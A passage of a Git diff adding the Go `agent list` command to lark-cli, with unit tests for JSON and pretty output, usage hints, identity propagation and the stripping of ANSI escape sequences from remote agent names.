{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
|
||||
})
|
||||
text := out.String()
|
||||
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
|
||||
t.Errorf("should have a header row, got %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "销售分析") {
|
||||
t.Errorf("should contain the title text, got %q", text)
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty pins the context-get pretty rendering:
|
||||
// key: value lines with the tasks count, title ANSI-stripped.
|
||||
func TestPrintContextDetailPretty(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
CreatedAt: "2026-07-05T10:00:00+08:00",
|
||||
Title: "\x1b[31m分析\x1b[0m",
|
||||
Tasks: []iagent.TaskSummary{{TaskID: "chat_1"}},
|
||||
})
|
||||
text := out.String()
|
||||
for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
|
||||
// built from the real command path + Use shape, so the caller learns what is
|
||||
// missing instead of cobra's bare "accepts 2 arg(s)".
|
||||
func TestExactArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("task get with a single argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
|
||||
// (`agent list [scheme]`).
|
||||
func TestMaximumArgsUsageHint(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs([]string{"agent", "list", "example", "extra"})
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("list with more than 1 positional argument should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
|
||||
t.Fatalf("hint should contain the usage string, got %+v", p)
|
||||
}
|
||||
}
|
||||
199
cmd/agent/list.go
Normal file
199
cmd/agent/list.go
Normal file
@@ -0,0 +1,199 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// providerInfo describes a registered provider adapter in `agent list` output.
|
||||
// Every field is sourced from the registered iagent.ProviderInfo (the single
|
||||
// source of truth).
|
||||
type providerInfo struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Label string `json:"label"`
|
||||
AgentRefFormat string `json:"agent_ref_format"`
|
||||
Kind string `json:"kind"`
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
}
|
||||
|
||||
// listOptions holds all inputs for `agent list [scheme]`.
|
||||
type listOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Scheme string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
|
||||
// enumerates the registered provider adapters with their metadata — a
|
||||
// pure, API-free listing. With a scheme it performs second-level discovery:
|
||||
// providers implementing Discoverer enumerate their agents;
|
||||
// others return unsupported_capability with the agent_id_source
|
||||
// guidance. Risk=read.
|
||||
func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &listOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list [scheme]",
|
||||
Short: "List registered agent providers, or enumerate the agents under one provider",
|
||||
Long: "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
|
||||
Args: maximumArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
if len(args) == 1 {
|
||||
opts.Scheme = args[0]
|
||||
}
|
||||
return agentListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
|
||||
// provider's agents (second-level discovery); without it renders the provider
|
||||
// listing. JSON envelope is the default; `pretty` is the opt-in human view.
|
||||
func agentListRun(opts *listOptions) error {
|
||||
if opts.Scheme != "" {
|
||||
return agentListSchemeRun(opts)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
providers := listProviders()
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
|
||||
}
|
||||
// agent_id_source is a full sentence — a TSV column would blow out the
|
||||
// row width, so surface it as a per-provider footer instead. This is the
|
||||
// single most important "where do I get an agent_id" cue for newcomers
|
||||
// and must not vanish in the human-readable view.
|
||||
fmt.Fprintln(f.IOStreams.Out)
|
||||
for _, p := range providers {
|
||||
fmt.Fprintf(f.IOStreams.Out, "agent_id 获取(%s): %s\n", p.Scheme, p.AgentIDSource)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"providers": providers},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
|
||||
// provider. The Discoverer probe runs BEFORE any client construction so a
|
||||
// provider without discovery support returns its precise
|
||||
// unsupported_capability error even in an unconfigured environment — aligned
|
||||
// with the validation-before-config-gate principle. Only a provider that
|
||||
// does implement Discoverer needs a configured client for the real ListAgents
|
||||
// call.
|
||||
func agentListSchemeRun(opts *listOptions) error {
|
||||
f := opts.Factory
|
||||
info, ok := iagent.Info(opts.Scheme)
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 agent provider '%s',当前支持: %s",
|
||||
opts.Scheme, iagent.KnownSchemes()).
|
||||
WithHint("用 lark-cli agent list 查看可用 provider")
|
||||
}
|
||||
if !probeDiscoverer(info) {
|
||||
return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
|
||||
"provider '%s' 暂不支持列举 agent", opts.Scheme).
|
||||
WithHint("%s", info.AgentIDSource)
|
||||
}
|
||||
|
||||
// The real ListAgents call carries the resolved identity, aligned with
|
||||
// resolveProvider (common.go) — a provider must never see a zero As on an
|
||||
// API-bound instance.
|
||||
id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
|
||||
apiClient, err := f.NewAPIClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
|
||||
}
|
||||
agents, err := p.ListAgents(opts.Cmd.Context())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
// Name/Description are agent-controlled remote strings — ANSI-strip
|
||||
// them before writing to the terminal.
|
||||
fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
|
||||
for _, a := range agents {
|
||||
fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Data: map[string]interface{}{"agents": agents},
|
||||
Meta: &output.Meta{Count: len(agents)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// probeDiscoverer reports whether the provider built by info can enumerate its
|
||||
// agents (wires ListAgents). The probe instance is constructed with empty Deps
|
||||
// and an empty agentID — no client is needed to read a field, which keeps the
|
||||
// probe usable before config init. A factory error means the capability cannot
|
||||
// be confirmed, so it degrades to not discoverable.
|
||||
func probeDiscoverer(info iagent.ProviderInfo) bool {
|
||||
p, err := info.Factory(iagent.Deps{}, "")
|
||||
if err != nil || p == nil {
|
||||
return false
|
||||
}
|
||||
return p.ListAgents != nil
|
||||
}
|
||||
|
||||
// listProviders builds the provider descriptors from the built-in registry so
|
||||
// the listing stays in sync with whatever adapters are registered.
|
||||
func listProviders() []providerInfo {
|
||||
schemes := iagent.RegisteredSchemes()
|
||||
out := make([]providerInfo, 0, len(schemes))
|
||||
for _, s := range schemes {
|
||||
// s comes from RegisteredSchemes, so Info always succeeds.
|
||||
info, _ := iagent.Info(s)
|
||||
out = append(out, providerInfo{
|
||||
Scheme: s,
|
||||
Label: info.Label,
|
||||
AgentRefFormat: info.AgentRefFormat,
|
||||
Kind: string(info.Kind),
|
||||
AgentIDSource: info.AgentIDSource,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
428
cmd/agent/list_test.go
Normal file
428
cmd/agent/list_test.go
Normal file
@@ -0,0 +1,428 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// listFactory returns a Factory writing to a fresh stdout buffer plus a
|
||||
// listOptions bound to it, ready to drive agentListRun without any API.
|
||||
func listFactory() (*listOptions, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
return &listOptions{Factory: f, Format: "json"}, out
|
||||
}
|
||||
|
||||
// decodeProviders unmarshals the envelope on out and returns data.providers.
|
||||
func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
|
||||
t.Helper()
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
providers, _ := data["providers"].([]interface{})
|
||||
return providers
|
||||
}
|
||||
|
||||
// findProvider returns the provider entry whose scheme matches, or nil.
|
||||
func findProvider(providers []interface{}, scheme string) map[string]interface{} {
|
||||
for _, pv := range providers {
|
||||
p, _ := pv.(map[string]interface{})
|
||||
if p["scheme"] == scheme {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
|
||||
// example entry carries all fields sourced from iagent.Info (the single source
|
||||
// of truth), the legacy free-text description field is gone, and discoverable
|
||||
// is no longer exposed.
|
||||
func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
info, ok := iagent.Info("example")
|
||||
if !ok {
|
||||
t.Fatal("the example provider should already be registered (blank import in agent.go)")
|
||||
}
|
||||
p := findProvider(decodeProviders(t, out), "example")
|
||||
if p == nil {
|
||||
t.Fatalf("list should include the example provider: %s", out.String())
|
||||
}
|
||||
if p["label"] != info.Label {
|
||||
t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
|
||||
}
|
||||
if p["agent_ref_format"] != info.AgentRefFormat {
|
||||
t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
|
||||
}
|
||||
if p["kind"] != string(info.Kind) {
|
||||
t.Errorf("kind should come from ProviderInfo.Kind %q, got %v", info.Kind, p["kind"])
|
||||
}
|
||||
if p["agent_id_source"] != info.AgentIDSource {
|
||||
t.Errorf("agent_id_source should come from ProviderInfo.AgentIDSource, got %v", p["agent_id_source"])
|
||||
}
|
||||
if _, present := p["description"]; present {
|
||||
t.Errorf("the old description field should be removed (double-source with label), got %v", p)
|
||||
}
|
||||
if _, present := p["discoverable"]; present {
|
||||
t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
|
||||
// data.providers[] with the full field contract.
|
||||
func TestAgentListRun_EnvelopeShape(t *testing.T) {
|
||||
opts, out := listFactory()
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
providers := decodeProviders(t, out)
|
||||
if len(providers) == 0 {
|
||||
t.Fatalf("data.providers should be a non-empty array: %s", out.String())
|
||||
}
|
||||
first, ok := providers[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("provider entry should be an object, got %T", providers[0])
|
||||
}
|
||||
for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
|
||||
if _, present := first[key]; !present {
|
||||
t.Errorf("provider entry missing field %q: %v", key, first)
|
||||
}
|
||||
}
|
||||
if _, present := first["discoverable"]; present {
|
||||
t.Errorf("provider entry should not contain a discoverable field: %v", first)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
|
||||
// without --format emits the JSON envelope (pretty is opt-in).
|
||||
func TestAgentListDefaultFormatIsJSON(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetArgs([]string{})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
|
||||
// row plus tab-separated provider lines, not a JSON envelope.
|
||||
func TestAgentListRun_PrettyFormat(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
opts := &listOptions{Factory: f, Format: "pretty"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list pretty should not error: %v", err)
|
||||
}
|
||||
text := out.String()
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.HasPrefix(text, "SCHEME") {
|
||||
t.Errorf("pretty output should start with a header row: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example") {
|
||||
t.Errorf("pretty output should contain the example provider: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "example:<agent_id>") {
|
||||
t.Errorf("pretty output should contain the example ref format: %s", text)
|
||||
}
|
||||
// agent_id_source is surfaced as a footer (not a column) so the newcomer's
|
||||
// "where do I get an agent_id" cue does not disappear in the pretty view.
|
||||
if !strings.Contains(text, "agent_id 获取") {
|
||||
t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
|
||||
// on a provider without Discoverer is unsupported_capability (exit 2) with the
|
||||
// AgentIDSource text as hint, and — because the probe runs before any client
|
||||
// construction — works on an unconfigured Factory.
|
||||
func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
|
||||
registerScripted()
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "fakeflow"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be 2, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
|
||||
t.Errorf("message should state that listing is not supported, got %q", err.Error())
|
||||
}
|
||||
if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
|
||||
t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
|
||||
// invalid_argument and the message lists the registered schemes.
|
||||
func TestAgentListScheme_UnknownScheme(t *testing.T) {
|
||||
opts, _ := listFactory()
|
||||
opts.Scheme = "nosuch"
|
||||
err := agentListRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T (%v)", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
|
||||
t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint pointing at
|
||||
// `agent list` for provider discovery.
|
||||
if !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// stubCore wires the mandatory core fields onto a test *Provider; the list
|
||||
// tests never dispatch Send/GetTask (they only exercise ListAgents), but
|
||||
// Register requires both non-nil.
|
||||
func stubCore(p *iagent.Provider) *iagent.Provider {
|
||||
p.Send = func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil }
|
||||
p.GetTask = func(ctx context.Context, taskID string) (*iagent.AgentTask, error) { return nil, nil }
|
||||
return p
|
||||
}
|
||||
|
||||
// newFakeDisc is a test-only enumerable provider (wires ListAgents), to pin the
|
||||
// `agent list <scheme>` positive path without a real catalog provider.
|
||||
func newFakeDisc() *iagent.Provider {
|
||||
return stubCore(&iagent.Provider{
|
||||
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
|
||||
return []iagent.AgentSummary{
|
||||
{AgentRef: "fakedisc:a1", Name: "Agent One", Description: "第一个"},
|
||||
{AgentRef: "fakedisc:a2", Name: "Agent Two"},
|
||||
}, nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// registerFakeDisc registers the fakedisc scheme. Like fakepause in
|
||||
// send_test.go this leaks into the package-level registry for the remaining
|
||||
// tests of this package run — so no test in this package may assert an exact
|
||||
// provider set or provider count.
|
||||
func registerFakeDisc() {
|
||||
iagent.Register("fakedisc", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newFakeDisc(), nil },
|
||||
Label: "test fake (discoverer)",
|
||||
AgentRefFormat: "fakedisc:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_DiscovererListsAgents pins the positive path: a
|
||||
// provider implementing Discoverer yields {agents:[AgentSummary...]} plus
|
||||
// meta.count.
|
||||
func TestAgentListScheme_DiscovererListsAgents(t *testing.T) {
|
||||
registerFakeDisc()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedisc should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
agents, ok := data["agents"].([]interface{})
|
||||
if !ok || len(agents) != 2 {
|
||||
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
|
||||
}
|
||||
first, _ := agents[0].(map[string]interface{})
|
||||
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
|
||||
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PropagatesIdentity pins the Task 10 review item: the
|
||||
// provider rebuilt for the real ListAgents call must carry the resolved
|
||||
// identity in its Deps (aligned with resolveProvider), not a zero As.
|
||||
func TestAgentListScheme_PropagatesIdentity(t *testing.T) {
|
||||
var captured iagent.Deps
|
||||
iagent.Register("fakedeps", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
captured = deps
|
||||
return newFakeDisc(), nil
|
||||
},
|
||||
Label: "test fake (deps capture)",
|
||||
AgentRefFormat: "fakedeps:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedeps"}
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedeps should not error: %v", err)
|
||||
}
|
||||
if captured.As == "" {
|
||||
t.Error("the rebuilt provider's Deps.As should carry the resolved identity, got empty")
|
||||
}
|
||||
if captured.As != f.ResolvedIdentity {
|
||||
t.Errorf("Deps.As should match the Factory's resolved identity, got %q vs %q", captured.As, f.ResolvedIdentity)
|
||||
}
|
||||
}
|
||||
|
||||
// newDirtyName is an enumerable provider whose agent names carry ANSI escapes,
|
||||
// to pin the pretty-path sanitization of agent-controlled fields.
|
||||
func newDirtyName() *iagent.Provider {
|
||||
return stubCore(&iagent.Provider{
|
||||
ListAgents: func(ctx context.Context) ([]iagent.AgentSummary, error) {
|
||||
return []iagent.AgentSummary{
|
||||
{AgentRef: "fakedirty:a1", Name: "\x1b[31mEvil\x1b[0m One", Description: "d\x1b[2Jesc"},
|
||||
}, nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// TestAgentListScheme_PrettyStripsANSI pins the Task 10 review item: `agent list
|
||||
// <scheme> --format pretty` must strip ANSI escapes from the agent-controlled
|
||||
// Name/Description before they reach the terminal.
|
||||
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
|
||||
iagent.Register("fakedirty", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newDirtyName(), nil },
|
||||
Label: "test fake (dirty names)",
|
||||
AgentRefFormat: "fakedirty:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindCatalog,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
|
||||
})
|
||||
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := &cobra.Command{Use: "list"}
|
||||
cmd.SetContext(context.Background())
|
||||
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentListRun(opts); err != nil {
|
||||
t.Fatalf("list fakedirty pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
|
||||
t.Errorf("readable text should remain after stripping, got %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must be registered on `agent list` and filter the envelope.
|
||||
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
|
||||
cmd := NewCmdAgentList(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"--jq", ".ok"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("agent list --jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "true" {
|
||||
t.Errorf("--jq .ok should output only true, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
|
||||
// of --format, the --jq flag presence, and that list takes at most one
|
||||
// positional arg (the scheme).
|
||||
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentList(nil)
